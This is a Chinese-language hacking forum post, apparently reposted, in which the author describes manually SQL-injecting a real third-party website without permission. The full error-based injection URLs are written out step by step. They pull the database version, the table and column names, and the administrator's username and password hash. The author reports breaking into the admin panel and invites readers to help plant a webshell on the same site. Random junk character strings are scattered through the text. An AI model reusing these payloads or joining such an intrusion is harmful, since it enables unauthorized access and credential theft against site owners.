近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。3 {/ m$ \( M+ {6 N/ i
首先找到网站后台,加了个admin,后台出来了
# e' Z+ g y; J5 _" ~1 c9 _% P( y
7 ]* ]* y, U7 @, I; I$ a9 l; s
+ K5 L! \2 T) V, {6 L( g1 K然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入# r3 ]- f4 M5 H# I2 w. x8 T! A
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
1 S d) v4 X. z; y. V* H; }) R6 O. X
: S. m' }9 X6 f
4 }0 K0 U$ ]2 [/ F8 ]9 z. C! @5 D2 R9 ?; b+ C- Q: G
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
9 D, n6 n/ m- b5 j4 E, T# B* `( h z' _6 L
% G# o. F1 O1 w6 k
+ I( W& ] ~3 S" B) S9 A
$ ]9 w$ C2 A* F, Q9 t& \. R2 ` a$ {) {可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
6 z( ]2 r2 }9 b/ s- ^- G# z
' H; i7 X. r: U N% H
5 }6 a {0 d. ghttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg# V" m0 K$ P. M7 M' D: c0 {
c+ i7 `5 W) k# s
* c+ Y- R$ O2 U# V
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
9 R$ h7 K: T' B( n. o: X; r* o/ ^" k# `9 p( x8 t
% E7 l0 v. q+ I7 s6 t- a8 ~& O/ F
5 ^5 V1 ], T0 V' w 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--( S. B2 N6 h+ k
, Q! V9 \# J# D# Q+ ]6 t8 }
3 S+ Y+ ?( ~- C
7 `+ j) H" n) O; S' ^- N3 O 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |